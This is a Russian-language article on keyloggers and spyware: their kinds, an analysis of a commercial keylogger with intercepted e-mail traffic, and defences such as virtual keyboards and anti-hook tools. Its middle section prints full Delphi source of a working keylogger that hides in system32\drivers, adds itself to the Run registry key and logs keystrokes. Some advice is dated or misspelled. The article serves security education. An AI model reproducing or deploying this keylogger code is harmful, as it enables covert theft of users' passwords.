Защита от клавиатурных шпионов с помощью современных методов защиты информации

Защита от клавиатурных шпионов с помощью современных методов защиты информации

Клавиатурные шпионы – это приложения, следящие за нажатиями на клавиши клавиатуры и отсылающие эту информацию злонамеренному пользователю. Это может осуществляться по почте или отправкой прямо на сервер, расположенный где-либо в глобальной сети. Эта

Автор: Ковалев Алексей

Клавиатурные шпионы – это приложения, следящие за нажатиями на клавиши клавиатуры и отсылающие эту информацию злонамеренному пользователю. Это может осуществляться по почте или отправкой прямо на сервер, расположенный где-либо в глобальной сети. Эта информация может быть затем использована для сбора почтовых или других реквизитов у ничего не подозревающих пользователей, а может даже и для получения исходных текстов программ у производителей ПО.

Spyware –компьютерные приложение результатом которых может стать как всплывающая реклама, так и более серьёзные нарушения в безопасности системы, включая кражу информации, запись нажатых клавиш, изменение параметров соединения с глобальной сетью.

Spyware-приложения обычно попадают в систему посредством условно бесплатного ПО, основанного на показе баннеров и рекламы. Другие источники включают в себя программы для обмена сообщениями, различные Peer-to-Peer приложения, популярные download-менеджеры и хакерские сайты, и многое другое. Следует отметить, что в основном spyware-приложения направлены против браузера Microsoft Internet Explorer. Пользователи современных альтернативных web-браузеров, типа Mozilla Firefox или Apple Safari, в основном вообще не подвержены воздействию spyware.

Последние методы внедрения, используемые spyware-приложениями, не требуют никакого взаимодействия с пользователем. Известные как “drive-by downloads” (скачиваемые налету), spyware-приложения доставляются на компьютер пользователя без его ведома, либо при посещении определенной web-страницы, либо при открытии заархивированных файлов, либо при нажатии на всплывающее окошко, содержащее активный элемент типа ActiveX, Flash и т.п. Spyware-модули могут содержаться даже в драйверах для нового оборудования.

Основная часть

Методика шпионажа очень проста. В зависимости от собираемой информации клавиатурные шпионы могут функционировать по-разному. Некоторые из шпионов собирают информацию чисто в маркетинговых целях, что бы исследовать и анализировать вкусы пользователя. Другие же являются более опасными. Клавиатурный шпион старается идентифицировать пересылаемую по сети информацию, используя уникальный идентификатор, например файл cookie, расположенный на компьютере пользователя Затем шпион посылает логи удаленному пользователю или на сервер, собирающий информацию. Эта информация обычно включает в себя имя хоста, ip-адрес и GUID, а также логины, пароли и другие важные данные.

Виды компьютерных шпионов

Клавиатурные шпионы делятся на три вида:

-Аппаратные клавиатурные шпионы

Это маленькие встроенные устройства, расположенные между клавиатурой и компьютером. Из-за их маленьких размеров они часто остаются незамеченными длительное время, однако они требуют физического доступа к оборудованию. Эти устройства могут записывать сотни символов, введенных с клавиатуры, включая почтовые и банковские реквизиты.

-Приложение с перехватывающим механизмом.

Этот тип использует функцию Windows API SetWindowsHookEx(), которая следит за сообщениями о нажатиях клавиш клавиатуры. Обычно spyware-приложение состоит из exe-файла, инициирующего функцию перехвата, и dll-файла, управляющего функциями записи информации. Приложение, вызывающее SetWindowsHookEx(), может перехватить даже самозаполняющиеся пароли.

-Ядернно-драйверные клавиатурные шпионы.

Этот тип клавиатурного шпиона расположен на уровне ядра и получает информацию прямо от вводного устройства (обычно клавиатуры). Он заменяет основное программное обеспечение, обрабатывающее нажатия клавиш. Его можно запрограммировать быть невидимым, используя преимущество выполнения при загрузке системы, до начала выполнения приложений уровня пользователя. Так как программа запускается на уровне ядра, она не может перехватить самозаполняющиеся пароли, потому что эта информация передается на уровне приложений. Удаление такого шпиона обычно бывает наиболее болезненное.

Анализирование компьютерного шпиона

Начнем с самого простого. Самый простой клавиатурный шпион можно создать в Delphi. Для изучения может подойти продукт с вот таким вот кодом:
program ntrty;
// DeadKill ver. 1.0
//
// Клавиатурный шпион, alex2054 (c) 20011-2012;
// При первом запуске проги происходит самокопирование
// программы в путь dir с именем name! И прописывание
// в автозагрузку той копии проги!
// Про запуске проги через автозапуск прога кидает
// файлу в путь: %USERPROFILE% с именами name+номер+ext
// при каждом запуске создаётся файл со следующим по
// порядку номером, а при достижении файла размера в
// MaxFileSize создаётся следующий файл!
// При запуске проги в ручную файл с отчётом
// создаётся в каталоге с прогой!
// 13.04.2012 (пятница)
uses Windows;
const
dir = 'C:\WINDOWS\system32\drivers\';
name = 'ntrty';
ext = '.ini';
ARCStr = 'cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ';
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;
function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer;
ICON: hIcon; CURSOR: hCursor; Background: HBrush;
ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;
function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000)),
w, h, 0, 0, hInstance, nil);
end;
procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;
function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;
function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;
function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;
function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := ";
1: SetLength(Result, 1);
2: ;
else
Result := ";
end;
end;
function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;
function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+'.exe') then
begin
Copyfile(PChar(paramstr(0)),dir+name+'.exe',BOOL(0));
WinExec(dir+name+'.exe',SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+' /t REG_SZ /d '+dir+name+'.exe /f'),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;
begin
wClass:=WC(hInstance,0,0,0,0,0,15,'MYCLASS',",@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, ",0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass('MYCLASS',hInstance);
halt(0);
end;
lpWindow(wMsg);
end.

Программа имеет свойство отлавливать нажатие клавиш и записывать их в текстовый файл.

Рис 1. Вид простого клавиатурного шпиона созданного в Delphi.

Теперь пора переходить к более сложным видам компьютерных шпионов.

Существует большое количество клавиатурных шпионов. Нами был взят Тhe Blazing Tools Perfect Keylogger, т.к. его находят в множестве троянских коней. . Хотя продукция Blazing Tools направлена на IT-администраторов и родителей, присутствие их продукта во многих троянских конях показывает возможность использования легального ПО в злонамеренных целях.

The Blazing Tools Perfect Keylogger имеет возможности удаленной установки, переименования файлов как удобно для шпиона. Так же имеет возможность скрытия программы в диспетчере задач.

Мы установили версию этого клавиатурного шпиона на тестовом компьютере. С помощью программы типа SNAPPER (http://www.users.globalnet.co.uk/~ashwobla/snapper/) можно увидеть изменения в файловой системе после установки Perfect Keylogger’a, как показано на Рис. 2:

Рис. 2 Изменения файловой системы после установки Perfect Keylogger.

С помощью бесплатной anti-spyware утилиты вроде Microsoft Antispyware (http://www.microsoft.com/athome/security/spyware/software/default.mspx), можно просмотреть все реестровые ключи, а также EXE и DLL-файлы, используемые клавиатурным шпионом (Рис. 2):

Рис. 3 Ключи реестра, exe и dll-файлы клавиатурного шпиона.

Клавиатурный шпион выполняется как фоновый процесс, который можно увидеть с помощью инструмента типа SysInternals’ Process Explorer (http://www.sysinternals.com/ntw2k/freeware/procexp.shtml), как показано на Рис. 3:

Рис. 4 Шпионский фоновый процесс.

Этот же клавиатурный шпион мы установили на другом тестовом компьютере, объединив его с другой программой, и настроили его отсылать введенные с клавиатуры символы по почте на тестовый почтовый ящик. Иронично, но шпион был объединен с бесплатной и эффективной программой Spybot Search & Destroy (http://security.kolla.de/), предназначенной для отлова шпионского ПО. Это в лишний раз доказывает возможность использования легального ПО для распространения spyware-приложений.

Информация, посланная по почте, была затем перехвачена анализатором сетевого трафика. Для простоты примера мы использовали Ethereal (Рис. 4 и Рис. 5):

Рис. 5 Ethereal перехватывает исходящую почту от клавиатурного шпиона.

Рис. 6 Перехваченный TCP-поток.

Так как содержимое почты закодировано с помощью base64, конечный результат получается после расшифровки сообщения base64-декодером. После расшифровки выделяем важную информацию:


<H1> Tuesday, 28 December</H1>
<H2>Iexplore.exe, 12:11 AM</H2>
<H3>Paladion Networks: The Internet
Security Architects - Microsoft Internet Explorer</H3>
<P>alexey.kovalev2012<BR>crow2054<BR>
[PASSWORD CAPTURED: crow2054]</P>
</BODY>
</HTML>

Отчетливо видно, что имя пользователя (alexey.kovalev2012) и пароль (crow2054) были перехвачены и записаны. Таким вот образом клавиатурный шпион перехватывает необходимые пароли, а так же имеет возможность перехватить исходный код программы.

Защита от клавиатурных шпионов.

Первое что необходимо для предотрвращения это установка современного браузера например Gogle Chome или Sofari. Так как клавиатурный шпион больше нацелен на браузер internet exploer.

Для предотвращения записи нажатых клавиш можно использовать экранную клавиатуру.

Стандартную клавиатуру можно найти в специальных возможностях ПО Windows. Но лучше воспользоваться виртуальной интернет клавиатурой. Примером может служить клавиатура яндекса (http://keyboard.yandex.ru/)

Рис 7. Виртуальная клавиатура

Противодействие клавиатурным шпионам

Существуют два типа приложений, противодействующих клавиатурным шпионам:

Противодействие на основе подписей.

Это приложения, определяющие клавиатурный шпион по файлам, которые он устанавливает, и записям, которые он вносит в реестр. В то время как они хорошо борются против известных шпионов, они бессильны против программ, не внесенных в их базы данных.

Противодействие на основе перехвата.

Процесс перехвата (фильтрации) сообщений в Windows использует функцию SetWindowsHookEx(), ту же самую, что используют клавиатурные шпионы. Этот процесс используется для наблюдения за определенными событиями, но приложения противодействующие перехвату запрещают передачу управления от одной функции другой. Результатом становится отсутствие информации в логах клавиатурного шпиона. Хотя этот метод противодействия эффективнее первого, отметим, что он не способен бороться против ядерных/драйверных клавиатурных шпионов.

Существует еще один метод борьбы с клавиатурными шпионами. Он эффективен только на программном уровне. Для аппаратного может потребоваться специальные устройства для поиска жучков. Шифрование данных на программном уровне существенно облегчает защиту от шпионов, а так же возможен способ переустановки клавиш от стандартной раскладки до более защищенной.

Но кроме защиты необходима и профилактика. В помощь пойдут хорошие антивирусы такие как :GData а так же curient продукт от компании Dr.Web.

В связи с возросшим в последние годы числом клавиатурных шпионов, наблюдался рост количества web-сайтов и злонамеренных пользователей, извлекающих выгоду установкой клавиатурных шпионов и кражей личной информации.

Нужно знать о подобной опасности и уметь определять её. Первым шагом в борьбе с spyware-приложениями будет использование альтернативного браузера, например FireFox, Safari, Opera и др. Если это по каким-либо причинам нельзя осуществить, то следует предпринять меры по постоянной профилактике вашей системы, по обнаружению и удалению клавиатурных шпионов. В дальнейшем я хочу посвятить проект этой проблеме. Разработка технико-программного комплекса для защиты от компьютерных шпионов позволит решить проблему. 

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться